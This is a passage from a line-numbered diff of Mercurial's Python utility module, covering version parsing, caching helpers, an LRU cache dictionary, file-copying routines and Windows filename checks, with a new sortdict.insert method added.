1067 1067 def setsockopt(self, res, level, optname, value):
1068 1068 if not self.states:
1069 1069 return
1070 1070
1071 1071 self.fh.write(
1072 1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 1073 % (self.name, level, optname, value, res)
1074 1074 )
1075 1075
1076 1076
1077 1077 def makeloggingsocket(
1078 1078 logh,
1079 1079 fh,
1080 1080 name,
1081 1081 reads=True,
1082 1082 writes=True,
1083 1083 states=True,
1084 1084 logdata=False,
1085 1085 logdataapis=True,
1086 1086 ):
1087 1087 """Turn a socket into a logging socket."""
1088 1088
1089 1089 observer = socketobserver(
1090 1090 logh,
1091 1091 name,
1092 1092 reads=reads,
1093 1093 writes=writes,
1094 1094 states=states,
1095 1095 logdata=logdata,
1096 1096 logdataapis=logdataapis,
1097 1097 )
1098 1098 return socketproxy(fh, observer)
1099 1099
1100 1100
1101 1101 def version():
1102 1102 """Return version information if available."""
1103 1103 try:
1104 1104 from . import __version__
1105 1105
1106 1106 return __version__.version
1107 1107 except ImportError:
1108 1108 return b'unknown'
1109 1109
1110 1110
1111 1111 def versiontuple(v=None, n=4):
1112 1112 """Parses a Mercurial version string into an N-tuple.
1113 1113
1114 1114 The version string to be parsed is specified with the ``v`` argument.
1115 1115 If it isn't defined, the current Mercurial version string will be parsed.
1116 1116
1117 1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 1118 returned values:
1119 1119
1120 1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 1121 >>> versiontuple(v, 2)
1122 1122 (3, 6)
1123 1123 >>> versiontuple(v, 3)
1124 1124 (3, 6, 1)
1125 1125 >>> versiontuple(v, 4)
1126 1126 (3, 6, 1, '190-df9b73d2d444')
1127 1127
1128 1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130 1130
1131 1131 >>> v = b'3.6'
1132 1132 >>> versiontuple(v, 2)
1133 1133 (3, 6)
1134 1134 >>> versiontuple(v, 3)
1135 1135 (3, 6, None)
1136 1136 >>> versiontuple(v, 4)
1137 1137 (3, 6, None, None)
1138 1138
1139 1139 >>> v = b'3.9-rc'
1140 1140 >>> versiontuple(v, 2)
1141 1141 (3, 9)
1142 1142 >>> versiontuple(v, 3)
1143 1143 (3, 9, None)
1144 1144 >>> versiontuple(v, 4)
1145 1145 (3, 9, None, 'rc')
1146 1146
1147 1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 1148 >>> versiontuple(v, 2)
1149 1149 (3, 9)
1150 1150 >>> versiontuple(v, 3)
1151 1151 (3, 9, None)
1152 1152 >>> versiontuple(v, 4)
1153 1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154 1154
1155 1155 >>> versiontuple(b'4.6rc0')
1156 1156 (4, 6, None, 'rc0')
1157 1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 1159 >>> versiontuple(b'.1.2.3')
1160 1160 (None, None, None, '.1.2.3')
1161 1161 >>> versiontuple(b'12.34..5')
1162 1162 (12, 34, None, '..5')
1163 1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 1164 (1, 2, 3, '.4.5.6')
1165 1165 """
1166 1166 if not v:
1167 1167 v = version()
1168 1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 1169 if not m:
1170 1170 vparts, extra = b'', v
1171 1171 elif m.group(2):
1172 1172 vparts, extra = m.groups()
1173 1173 else:
1174 1174 vparts, extra = m.group(1), None
1175 1175
1176 1176 assert vparts is not None # help pytype
1177 1177
1178 1178 vints = []
1179 1179 for i in vparts.split(b'.'):
1180 1180 try:
1181 1181 vints.append(int(i))
1182 1182 except ValueError:
1183 1183 break
1184 1184 # (3, 6) -> (3, 6, None)
1185 1185 while len(vints) < 3:
1186 1186 vints.append(None)
1187 1187
1188 1188 if n == 2:
1189 1189 return (vints[0], vints[1])
1190 1190 if n == 3:
1191 1191 return (vints[0], vints[1], vints[2])
1192 1192 if n == 4:
1193 1193 return (vints[0], vints[1], vints[2], extra)
1194 1194
1195 1195
1196 1196 def cachefunc(func):
1197 1197 '''cache the result of function calls'''
1198 1198 # XXX doesn't handle keywords args
1199 1199 if func.__code__.co_argcount == 0:
1200 1200 listcache = []
1201 1201
1202 1202 def f():
1203 1203 if len(listcache) == 0:
1204 1204 listcache.append(func())
1205 1205 return listcache[0]
1206 1206
1207 1207 return f
1208 1208 cache = {}
1209 1209 if func.__code__.co_argcount == 1:
1210 1210 # we gain a small amount of time because
1211 1211 # we don't need to pack/unpack the list
1212 1212 def f(arg):
1213 1213 if arg not in cache:
1214 1214 cache[arg] = func(arg)
1215 1215 return cache[arg]
1216 1216
1217 1217 else:
1218 1218
1219 1219 def f(*args):
1220 1220 if args not in cache:
1221 1221 cache[args] = func(*args)
1222 1222 return cache[args]
1223 1223
1224 1224 return f
1225 1225
1226 1226
1227 1227 class cow(object):
1228 1228 """helper class to make copy-on-write easier
1229 1229
1230 1230 Call preparewrite before doing any writes.
1231 1231 """
1232 1232
1233 1233 def preparewrite(self):
1234 1234 """call this before writes, return self or a copied new object"""
1235 1235 if getattr(self, '_copied', 0):
1236 1236 self._copied -= 1
1237 1237 return self.__class__(self)
1238 1238 return self
1239 1239
1240 1240 def copy(self):
1241 1241 """always do a cheap copy"""
1242 1242 self._copied = getattr(self, '_copied', 0) + 1
1243 1243 return self
1244 1244
1245 1245
1246 1246 class sortdict(collections.OrderedDict):
1247 1247 '''a simple sorted dictionary
1248 1248
1249 1249 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 1250 >>> d2 = d1.copy()
1251 1251 >>> d2
1252 1252 sortdict([('a', 0), ('b', 1)])
1253 1253 >>> d2.update([(b'a', 2)])
1254 1254 >>> list(d2.keys()) # should still be in last-set order
1255 1255 ['b', 'a']
1256 >>> d1.insert(1, b'a.5', 0.5)
1257 >>> d1
1258 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1256 1259 '''
1257 1260
1258 1261 def __setitem__(self, key, value):
1259 1262 if key in self:
1260 1263 del self[key]
1261 1264 super(sortdict, self).__setitem__(key, value)
1262 1265
1263 1266 if pycompat.ispypy:
1264 1267 # __setitem__() isn't called as of PyPy 5.8.0
1265 1268 def update(self, src):
1266 1269 if isinstance(src, dict):
1267 1270 src = pycompat.iteritems(src)
1268 1271 for k, v in src:
1269 1272 self[k] = v
1270 1273
1274 def insert(self, position, key, value):
1275 for (i, (k, v)) in enumerate(list(self.items())):
1276 if i == position:
1277 self[key] = value
1278 if i >= position:
1279 del self[k]
1280 self[k] = v
1281
1271 1282
1272 1283 class cowdict(cow, dict):
1273 1284 """copy-on-write dict
1274 1285
1275 1286 Be sure to call d = d.preparewrite() before writing to d.
1276 1287
1277 1288 >>> a = cowdict()
1278 1289 >>> a is a.preparewrite()
1279 1290 True
1280 1291 >>> b = a.copy()
1281 1292 >>> b is a
1282 1293 True
1283 1294 >>> c = b.copy()
1284 1295 >>> c is a
1285 1296 True
1286 1297 >>> a = a.preparewrite()
1287 1298 >>> b is a
1288 1299 False
1289 1300 >>> a is a.preparewrite()
1290 1301 True
1291 1302 >>> c = c.preparewrite()
1292 1303 >>> b is c
1293 1304 False
1294 1305 >>> b is b.preparewrite()
1295 1306 True
1296 1307 """
1297 1308
1298 1309
1299 1310 class cowsortdict(cow, sortdict):
1300 1311 """copy-on-write sortdict
1301 1312
1302 1313 Be sure to call d = d.preparewrite() before writing to d.
1303 1314 """
1304 1315
1305 1316
1306 1317 class transactional(object): # pytype: disable=ignored-metaclass
1307 1318 """Base class for making a transactional type into a context manager."""
1308 1319
1309 1320 __metaclass__ = abc.ABCMeta
1310 1321
1311 1322 @abc.abstractmethod
1312 1323 def close(self):
1313 1324 """Successfully closes the transaction."""
1314 1325
1315 1326 @abc.abstractmethod
1316 1327 def release(self):
1317 1328 """Marks the end of the transaction.
1318 1329
1319 1330 If the transaction has not been closed, it will be aborted.
1320 1331 """
1321 1332
1322 1333 def __enter__(self):
1323 1334 return self
1324 1335
1325 1336 def __exit__(self, exc_type, exc_val, exc_tb):
1326 1337 try:
1327 1338 if exc_type is None:
1328 1339 self.close()
1329 1340 finally:
1330 1341 self.release()
1331 1342
1332 1343
1333 1344 @contextlib.contextmanager
1334 1345 def acceptintervention(tr=None):
1335 1346 """A context manager that closes the transaction on InterventionRequired
1336 1347
1337 1348 If no transaction was provided, this simply runs the body and returns
1338 1349 """
1339 1350 if not tr:
1340 1351 yield
1341 1352 return
1342 1353 try:
1343 1354 yield
1344 1355 tr.close()
1345 1356 except error.InterventionRequired:
1346 1357 tr.close()
1347 1358 raise
1348 1359 finally:
1349 1360 tr.release()
1350 1361
1351 1362
1352 1363 @contextlib.contextmanager
1353 1364 def nullcontextmanager():
1354 1365 yield
1355 1366
1356 1367
1357 1368 class _lrucachenode(object):
1358 1369 """A node in a doubly linked list.
1359 1370
1360 1371 Holds a reference to nodes on either side as well as a key-value
1361 1372 pair for the dictionary entry.
1362 1373 """
1363 1374
1364 1375 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1365 1376
1366 1377 def __init__(self):
1367 1378 self.next = None
1368 1379 self.prev = None
1369 1380
1370 1381 self.key = _notset
1371 1382 self.value = None
1372 1383 self.cost = 0
1373 1384
1374 1385 def markempty(self):
1375 1386 """Mark the node as emptied."""
1376 1387 self.key = _notset
1377 1388 self.value = None
1378 1389 self.cost = 0
1379 1390
1380 1391
1381 1392 class lrucachedict(object):
1382 1393 """Dict that caches most recent accesses and sets.
1383 1394
1384 1395 The dict consists of an actual backing dict - indexed by original
1385 1396 key - and a doubly linked circular list defining the order of entries in
1386 1397 the cache.
1387 1398
1388 1399 The head node is the newest entry in the cache. If the cache is full,
1389 1400 we recycle head.prev and make it the new head. Cache accesses result in
1390 1401 the node being moved to before the existing head and being marked as the
1391 1402 new head node.
1392 1403
1393 1404 Items in the cache can be inserted with an optional "cost" value. This is
1394 1405 simply an integer that is specified by the caller. The cache can be queried
1395 1406 for the total cost of all items presently in the cache.
1396 1407
1397 1408 The cache can also define a maximum cost. If a cache insertion would
1398 1409 cause the total cost of the cache to go beyond the maximum cost limit,
1399 1410 nodes will be evicted to make room for the new code. This can be used
1400 1411 to e.g. set a max memory limit and associate an estimated bytes size
1401 1412 cost to each item in the cache. By default, no maximum cost is enforced.
1402 1413 """
1403 1414
1404 1415 def __init__(self, max, maxcost=0):
1405 1416 self._cache = {}
1406 1417
1407 1418 self._head = head = _lrucachenode()
1408 1419 head.prev = head
1409 1420 head.next = head
1410 1421 self._size = 1
1411 1422 self.capacity = max
1412 1423 self.totalcost = 0
1413 1424 self.maxcost = maxcost
1414 1425
1415 1426 def __len__(self):
1416 1427 return len(self._cache)
1417 1428
1418 1429 def __contains__(self, k):
1419 1430 return k in self._cache
1420 1431
1421 1432 def __iter__(self):
1422 1433 # We don't have to iterate in cache order, but why not.
1423 1434 n = self._head
1424 1435 for i in range(len(self._cache)):
1425 1436 yield n.key
1426 1437 n = n.next
1427 1438
1428 1439 def __getitem__(self, k):
1429 1440 node = self._cache[k]
1430 1441 self._movetohead(node)
1431 1442 return node.value
1432 1443
1433 1444 def insert(self, k, v, cost=0):
1434 1445 """Insert a new item in the cache with optional cost value."""
1435 1446 node = self._cache.get(k)
1436 1447 # Replace existing value and mark as newest.
1437 1448 if node is not None:
1438 1449 self.totalcost -= node.cost
1439 1450 node.value = v
1440 1451 node.cost = cost
1441 1452 self.totalcost += cost
1442 1453 self._movetohead(node)
1443 1454
1444 1455 if self.maxcost:
1445 1456 self._enforcecostlimit()
1446 1457
1447 1458 return
1448 1459
1449 1460 if self._size < self.capacity:
1450 1461 node = self._addcapacity()
1451 1462 else:
1452 1463 # Grab the last/oldest item.
1453 1464 node = self._head.prev
1454 1465
1455 1466 # At capacity. Kill the old entry.
1456 1467 if node.key is not _notset:
1457 1468 self.totalcost -= node.cost
1458 1469 del self._cache[node.key]
1459 1470
1460 1471 node.key = k
1461 1472 node.value = v
1462 1473 node.cost = cost
1463 1474 self.totalcost += cost
1464 1475 self._cache[k] = node
1465 1476 # And mark it as newest entry. No need to adjust order since it
1466 1477 # is already self._head.prev.
1467 1478 self._head = node
1468 1479
1469 1480 if self.maxcost:
1470 1481 self._enforcecostlimit()
1471 1482
1472 1483 def __setitem__(self, k, v):
1473 1484 self.insert(k, v)
1474 1485
1475 1486 def __delitem__(self, k):
1476 1487 self.pop(k)
1477 1488
1478 1489 def pop(self, k, default=_notset):
1479 1490 try:
1480 1491 node = self._cache.pop(k)
1481 1492 except KeyError:
1482 1493 if default is _notset:
1483 1494 raise
1484 1495 return default
1485 1496
1486 1497 assert node is not None # help pytype
1487 1498 value = node.value
1488 1499 self.totalcost -= node.cost
1489 1500 node.markempty()
1490 1501
1491 1502 # Temporarily mark as newest item before re-adjusting head to make
1492 1503 # this node the oldest item.
1493 1504 self._movetohead(node)
1494 1505 self._head = node.next
1495 1506
1496 1507 return value
1497 1508
1498 1509 # Additional dict methods.
1499 1510
1500 1511 def get(self, k, default=None):
1501 1512 try:
1502 1513 return self.__getitem__(k)
1503 1514 except KeyError:
1504 1515 return default
1505 1516
1506 1517 def peek(self, k, default=_notset):
1507 1518 """Get the specified item without moving it to the head
1508 1519
1509 1520 Unlike get(), this doesn't mutate the internal state. But be aware
1510 1521 that it doesn't mean peek() is thread safe.
1511 1522 """
1512 1523 try:
1513 1524 node = self._cache[k]
1514 1525 return node.value
1515 1526 except KeyError:
1516 1527 if default is _notset:
1517 1528 raise
1518 1529 return default
1519 1530
1520 1531 def clear(self):
1521 1532 n = self._head
1522 1533 while n.key is not _notset:
1523 1534 self.totalcost -= n.cost
1524 1535 n.markempty()
1525 1536 n = n.next
1526 1537
1527 1538 self._cache.clear()
1528 1539
1529 1540 def copy(self, capacity=None, maxcost=0):
1530 1541 """Create a new cache as a copy of the current one.
1531 1542
1532 1543 By default, the new cache has the same capacity as the existing one.
1533 1544 But, the cache capacity can be changed as part of performing the
1534 1545 copy.
1535 1546
1536 1547 Items in the copy have an insertion/access order matching this
1537 1548 instance.
1538 1549 """
1539 1550
1540 1551 capacity = capacity or self.capacity
1541 1552 maxcost = maxcost or self.maxcost
1542 1553 result = lrucachedict(capacity, maxcost=maxcost)
1543 1554
1544 1555 # We copy entries by iterating in oldest-to-newest order so the copy
1545 1556 # has the correct ordering.
1546 1557
1547 1558 # Find the first non-empty entry.
1548 1559 n = self._head.prev
1549 1560 while n.key is _notset and n is not self._head:
1550 1561 n = n.prev
1551 1562
1552 1563 # We could potentially skip the first N items when decreasing capacity.
1553 1564 # But let's keep it simple unless it is a performance problem.
1554 1565 for i in range(len(self._cache)):
1555 1566 result.insert(n.key, n.value, cost=n.cost)
1556 1567 n = n.prev
1557 1568
1558 1569 return result
1559 1570
1560 1571 def popoldest(self):
1561 1572 """Remove the oldest item from the cache.
1562 1573
1563 1574 Returns the (key, value) describing the removed cache entry.
1564 1575 """
1565 1576 if not self._cache:
1566 1577 return
1567 1578
1568 1579 # Walk the linked list backwards starting at tail node until we hit
1569 1580 # a non-empty node.
1570 1581 n = self._head.prev
1571 1582 while n.key is _notset:
1572 1583 n = n.prev
1573 1584
1574 1585 assert n is not None # help pytype
1575 1586
1576 1587 key, value = n.key, n.value
1577 1588
1578 1589 # And remove it from the cache and mark it as empty.
1579 1590 del self._cache[n.key]
1580 1591 self.totalcost -= n.cost
1581 1592 n.markempty()
1582 1593
1583 1594 return key, value
1584 1595
1585 1596 def _movetohead(self, node):
1586 1597 """Mark a node as the newest, making it the new head.
1587 1598
1588 1599 When a node is accessed, it becomes the freshest entry in the LRU
1589 1600 list, which is denoted by self._head.
1590 1601
1591 1602 Visually, let's make ``N`` the new head node (* denotes head):
1592 1603
1593 1604 previous/oldest <-> head <-> next/next newest
1594 1605
1595 1606 ----<->--- A* ---<->-----
1596 1607 | |
1597 1608 E <-> D <-> N <-> C <-> B
1598 1609
1599 1610 To:
1600 1611
1601 1612 ----<->--- N* ---<->-----
1602 1613 | |
1603 1614 E <-> D <-> C <-> B <-> A
1604 1615
1605 1616 This requires the following moves:
1606 1617
1607 1618 C.next = D (node.prev.next = node.next)
1608 1619 D.prev = C (node.next.prev = node.prev)
1609 1620 E.next = N (head.prev.next = node)
1610 1621 N.prev = E (node.prev = head.prev)
1611 1622 N.next = A (node.next = head)
1612 1623 A.prev = N (head.prev = node)
1613 1624 """
1614 1625 head = self._head
1615 1626 # C.next = D
1616 1627 node.prev.next = node.next
1617 1628 # D.prev = C
1618 1629 node.next.prev = node.prev
1619 1630 # N.prev = E
1620 1631 node.prev = head.prev
1621 1632 # N.next = A
1622 1633 # It is tempting to do just "head" here, however if node is
1623 1634 # adjacent to head, this will do bad things.
1624 1635 node.next = head.prev.next
1625 1636 # E.next = N
1626 1637 node.next.prev = node
1627 1638 # A.prev = N
1628 1639 node.prev.next = node
1629 1640
1630 1641 self._head = node
1631 1642
1632 1643 def _addcapacity(self):
1633 1644 """Add a node to the circular linked list.
1634 1645
1635 1646 The new node is inserted before the head node.
1636 1647 """
1637 1648 head = self._head
1638 1649 node = _lrucachenode()
1639 1650 head.prev.next = node
1640 1651 node.prev = head.prev
1641 1652 node.next = head
1642 1653 head.prev = node
1643 1654 self._size += 1
1644 1655 return node
1645 1656
1646 1657 def _enforcecostlimit(self):
1647 1658 # This should run after an insertion. It should only be called if total
1648 1659 # cost limits are being enforced.
1649 1660 # The most recently inserted node is never evicted.
1650 1661 if len(self) <= 1 or self.totalcost <= self.maxcost:
1651 1662 return
1652 1663
1653 1664 # This is logically equivalent to calling popoldest() until we
1654 1665 # free up enough cost. We don't do that since popoldest() needs
1655 1666 # to walk the linked list and doing this in a loop would be
1656 1667 # quadratic. So we find the first non-empty node and then
1657 1668 # walk nodes until we free up enough capacity.
1658 1669 #
1659 1670 # If we only removed the minimum number of nodes to free enough
1660 1671 # cost at insert time, chances are high that the next insert would
1661 1672 # also require pruning. This would effectively constitute quadratic
1662 1673 # behavior for insert-heavy workloads. To mitigate this, we set a
1663 1674 # target cost that is a percentage of the max cost. This will tend
1664 1675 # to free more nodes when the high water mark is reached, which
1665 1676 # lowers the chances of needing to prune on the subsequent insert.
1666 1677 targetcost = int(self.maxcost * 0.75)
1667 1678
1668 1679 n = self._head.prev
1669 1680 while n.key is _notset:
1670 1681 n = n.prev
1671 1682
1672 1683 while len(self) > 1 and self.totalcost > targetcost:
1673 1684 del self._cache[n.key]
1674 1685 self.totalcost -= n.cost
1675 1686 n.markempty()
1676 1687 n = n.prev
1677 1688
1678 1689
1679 1690 def lrucachefunc(func):
1680 1691 '''cache most recent results of function calls'''
1681 1692 cache = {}
1682 1693 order = collections.deque()
1683 1694 if func.__code__.co_argcount == 1:
1684 1695
1685 1696 def f(arg):
1686 1697 if arg not in cache:
1687 1698 if len(cache) > 20:
1688 1699 del cache[order.popleft()]
1689 1700 cache[arg] = func(arg)
1690 1701 else:
1691 1702 order.remove(arg)
1692 1703 order.append(arg)
1693 1704 return cache[arg]
1694 1705
1695 1706 else:
1696 1707
1697 1708 def f(*args):
1698 1709 if args not in cache:
1699 1710 if len(cache) > 20:
1700 1711 del cache[order.popleft()]
1701 1712 cache[args] = func(*args)
1702 1713 else:
1703 1714 order.remove(args)
1704 1715 order.append(args)
1705 1716 return cache[args]
1706 1717
1707 1718 return f
1708 1719
1709 1720
1710 1721 class propertycache(object):
1711 1722 def __init__(self, func):
1712 1723 self.func = func
1713 1724 self.name = func.__name__
1714 1725
1715 1726 def __get__(self, obj, type=None):
1716 1727 result = self.func(obj)
1717 1728 self.cachevalue(obj, result)
1718 1729 return result
1719 1730
1720 1731 def cachevalue(self, obj, value):
1721 1732 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1722 1733 obj.__dict__[self.name] = value
1723 1734
1724 1735
1725 1736 def clearcachedproperty(obj, prop):
1726 1737 '''clear a cached property value, if one has been set'''
1727 1738 prop = pycompat.sysstr(prop)
1728 1739 if prop in obj.__dict__:
1729 1740 del obj.__dict__[prop]
1730 1741
1731 1742
1732 1743 def increasingchunks(source, min=1024, max=65536):
1733 1744 '''return no less than min bytes per chunk while data remains,
1734 1745 doubling min after each chunk until it reaches max'''
1735 1746
1736 1747 def log2(x):
1737 1748 if not x:
1738 1749 return 0
1739 1750 i = 0
1740 1751 while x:
1741 1752 x >>= 1
1742 1753 i += 1
1743 1754 return i - 1
1744 1755
1745 1756 buf = []
1746 1757 blen = 0
1747 1758 for chunk in source:
1748 1759 buf.append(chunk)
1749 1760 blen += len(chunk)
1750 1761 if blen >= min:
1751 1762 if min < max:
1752 1763 min = min << 1
1753 1764 nmin = 1 << log2(blen)
1754 1765 if nmin > min:
1755 1766 min = nmin
1756 1767 if min > max:
1757 1768 min = max
1758 1769 yield b''.join(buf)
1759 1770 blen = 0
1760 1771 buf = []
1761 1772 if buf:
1762 1773 yield b''.join(buf)
1763 1774
1764 1775
1765 1776 def always(fn):
1766 1777 return True
1767 1778
1768 1779
1769 1780 def never(fn):
1770 1781 return False
1771 1782
1772 1783
1773 1784 def nogc(func):
1774 1785 """disable garbage collector
1775 1786
1776 1787 Python's garbage collector triggers a GC each time a certain number of
1777 1788 container objects (the number being defined by gc.get_threshold()) are
1778 1789 allocated even when marked not to be tracked by the collector. Tracking has
1779 1790 no effect on when GCs are triggered, only on what objects the GC looks
1780 1791 into. As a workaround, disable GC while building complex (huge)
1781 1792 containers.
1782 1793
1783 1794 This garbage collector issue have been fixed in 2.7. But it still affect
1784 1795 CPython's performance.
1785 1796 """
1786 1797
1787 1798 def wrapper(*args, **kwargs):
1788 1799 gcenabled = gc.isenabled()
1789 1800 gc.disable()
1790 1801 try:
1791 1802 return func(*args, **kwargs)
1792 1803 finally:
1793 1804 if gcenabled:
1794 1805 gc.enable()
1795 1806
1796 1807 return wrapper
1797 1808
1798 1809
1799 1810 if pycompat.ispypy:
1800 1811 # PyPy runs slower with gc disabled
1801 1812 nogc = lambda x: x
1802 1813
1803 1814
1804 1815 def pathto(root, n1, n2):
1805 1816 '''return the relative path from one place to another.
1806 1817 root should use os.sep to separate directories
1807 1818 n1 should use os.sep to separate directories
1808 1819 n2 should use "/" to separate directories
1809 1820 returns an os.sep-separated path.
1810 1821
1811 1822 If n1 is a relative path, it's assumed it's
1812 1823 relative to root.
1813 1824 n2 should always be relative to root.
1814 1825 '''
1815 1826 if not n1:
1816 1827 return localpath(n2)
1817 1828 if os.path.isabs(n1):
1818 1829 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1819 1830 return os.path.join(root, localpath(n2))
1820 1831 n2 = b'/'.join((pconvert(root), n2))
1821 1832 a, b = splitpath(n1), n2.split(b'/')
1822 1833 a.reverse()
1823 1834 b.reverse()
1824 1835 while a and b and a[-1] == b[-1]:
1825 1836 a.pop()
1826 1837 b.pop()
1827 1838 b.reverse()
1828 1839 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1829 1840
1830 1841
1831 1842 def checksignature(func):
1832 1843 '''wrap a function with code to check for calling errors'''
1833 1844
1834 1845 def check(*args, **kwargs):
1835 1846 try:
1836 1847 return func(*args, **kwargs)
1837 1848 except TypeError:
1838 1849 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1839 1850 raise error.SignatureError
1840 1851 raise
1841 1852
1842 1853 return check
1843 1854
1844 1855
1845 1856 # a whilelist of known filesystems where hardlink works reliably
1846 1857 _hardlinkfswhitelist = {
1847 1858 b'apfs',
1848 1859 b'btrfs',
1849 1860 b'ext2',
1850 1861 b'ext3',
1851 1862 b'ext4',
1852 1863 b'hfs',
1853 1864 b'jfs',
1854 1865 b'NTFS',
1855 1866 b'reiserfs',
1856 1867 b'tmpfs',
1857 1868 b'ufs',
1858 1869 b'xfs',
1859 1870 b'zfs',
1860 1871 }
1861 1872
1862 1873
1863 1874 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1864 1875 '''copy a file, preserving mode and optionally other stat info like
1865 1876 atime/mtime
1866 1877
1867 1878 checkambig argument is used with filestat, and is useful only if
1868 1879 destination file is guarded by any lock (e.g. repo.lock or
1869 1880 repo.wlock).
1870 1881
1871 1882 copystat and checkambig should be exclusive.
1872 1883 '''
1873 1884 assert not (copystat and checkambig)
1874 1885 oldstat = None
1875 1886 if os.path.lexists(dest):
1876 1887 if checkambig:
1877 1888 oldstat = checkambig and filestat.frompath(dest)
1878 1889 unlink(dest)
1879 1890 if hardlink:
1880 1891 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1881 1892 # unless we are confident that dest is on a whitelisted filesystem.
1882 1893 try:
1883 1894 fstype = getfstype(os.path.dirname(dest))
1884 1895 except OSError:
1885 1896 fstype = None
1886 1897 if fstype not in _hardlinkfswhitelist:
1887 1898 hardlink = False
1888 1899 if hardlink:
1889 1900 try:
1890 1901 oslink(src, dest)
1891 1902 return
1892 1903 except (IOError, OSError):
1893 1904 pass # fall back to normal copy
1894 1905 if os.path.islink(src):
1895 1906 os.symlink(os.readlink(src), dest)
1896 1907 # copytime is ignored for symlinks, but in general copytime isn't needed
1897 1908 # for them anyway
1898 1909 else:
1899 1910 try:
1900 1911 shutil.copyfile(src, dest)
1901 1912 if copystat:
1902 1913 # copystat also copies mode
1903 1914 shutil.copystat(src, dest)
1904 1915 else:
1905 1916 shutil.copymode(src, dest)
1906 1917 if oldstat and oldstat.stat:
1907 1918 newstat = filestat.frompath(dest)
1908 1919 if newstat.isambig(oldstat):
1909 1920 # stat of copied file is ambiguous to original one
1910 1921 advanced = (
1911 1922 oldstat.stat[stat.ST_MTIME] + 1
1912 1923 ) & 0x7FFFFFFF
1913 1924 os.utime(dest, (advanced, advanced))
1914 1925 except shutil.Error as inst:
1915 1926 raise error.Abort(stringutil.forcebytestr(inst))
1916 1927
1917 1928
1918 1929 def copyfiles(src, dst, hardlink=None, progress=None):
1919 1930 """Copy a directory tree using hardlinks if possible."""
1920 1931 num = 0
1921 1932
1922 1933 def settopic():
1923 1934 if progress:
1924 1935 progress.topic = _(b'linking') if hardlink else _(b'copying')
1925 1936
1926 1937 if os.path.isdir(src):
1927 1938 if hardlink is None:
1928 1939 hardlink = (
1929 1940 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1930 1941 )
1931 1942 settopic()
1932 1943 os.mkdir(dst)
1933 1944 for name, kind in listdir(src):
1934 1945 srcname = os.path.join(src, name)
1935 1946 dstname = os.path.join(dst, name)
1936 1947 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1937 1948 num += n
1938 1949 else:
1939 1950 if hardlink is None:
1940 1951 hardlink = (
1941 1952 os.stat(os.path.dirname(src)).st_dev
1942 1953 == os.stat(os.path.dirname(dst)).st_dev
1943 1954 )
1944 1955 settopic()
1945 1956
1946 1957 if hardlink:
1947 1958 try:
1948 1959 oslink(src, dst)
1949 1960 except (IOError, OSError):
1950 1961 hardlink = False
1951 1962 shutil.copy(src, dst)
1952 1963 else:
1953 1964 shutil.copy(src, dst)
1954 1965 num += 1
1955 1966 if progress:
1956 1967 progress.increment()
1957 1968
1958 1969 return hardlink, num
1959 1970
1960 1971
1961 1972 _winreservednames = {
1962 1973 b'con',
1963 1974 b'prn',
1964 1975 b'aux',
1965 1976 b'nul',
1966 1977 b'com1',
1967 1978 b'com2',
1968 1979 b'com3',
1969 1980 b'com4',
1970 1981 b'com5',
1971 1982 b'com6',
1972 1983 b'com7',
1973 1984 b'com8',
1974 1985 b'com9',
1975 1986 b'lpt1',
1976 1987 b'lpt2',
1977 1988 b'lpt3',
1978 1989 b'lpt4',
1979 1990 b'lpt5',
1980 1991 b'lpt6',
1981 1992 b'lpt7',
1982 1993 b'lpt8',
1983 1994 b'lpt9',
1984 1995 }
1985 1996 _winreservedchars = b':*?"<>|'
1986 1997
1987 1998
1988 1999 def checkwinfilename(path):
1989 2000 r'''Check that the base-relative path is a valid filename on Windows.
1990 2001 Returns None if the path is ok, or a UI string describing the problem.
1991 2002
1992 2003 >>> checkwinfilename(b"just/a/normal/path")
1993 2004 >>> checkwinfilename(b"foo/bar/con.xml")
1994 2005 "filename contains 'con', which is reserved on Windows"
1995 2006 >>> checkwinfilename(b"foo/con.xml/bar")
1996 2007 "filename contains 'con', which is reserved on Windows"
1997 2008 >>> checkwinfilename(b"foo/bar/xml.con")
1998 2009 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1999 2010 "filename contains 'AUX', which is reserved on Windows"
2000 2011 >>> checkwinfilename(b"foo/bar/bla:.txt")
2001 2012 "filename contains ':', which is reserved on Windows"
2002 2013 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2003 2014 "filename contains '\\x07', which is invalid on Windows"
2004 2015 >>> checkwinfilename(b"foo/bar/bla ")
2005 2016 "filename ends with ' ', which is not allowed on Windows"
2006 2017 >>> checkwinfilename(b"../bar")
2007 2018 >>> checkwinfilename(b"foo\\")
2008 2019 "filename ends with '\\', which is invalid on Windows"
2009 2020 >>> checkwinfilename(b"foo\\/bar")
2010 2021 "directory name ends with '\\', which is invalid on Windows"
2011 2022 '''
2012 2023 if path.endswith(b'\\'):
2013 2024 return _(b"filename ends with '\\', which is invalid on Windows")
2014 2025 if b'\\/' in path:
2015 2026 return _(b"directory name ends with '\\', which is invalid on Windows")
2016 2027 for n in path.replace(b'\\', b'/').split(b'/'):
2017 2028 if not n:
2018 2029 continue
2019 2030 for c in _filenamebytestr(n):
2020 2031 if c in _winreservedchars:
2021 2032 return (
2022 2033 _(
2023 2034 b"filename contains '%s', which is reserved "
2024 2035 b"on Windows"
2025 2036 )
2026 2037 % c
2027 2038 )
2028 2039 if ord(c) <= 31:
2029 2040 return _(
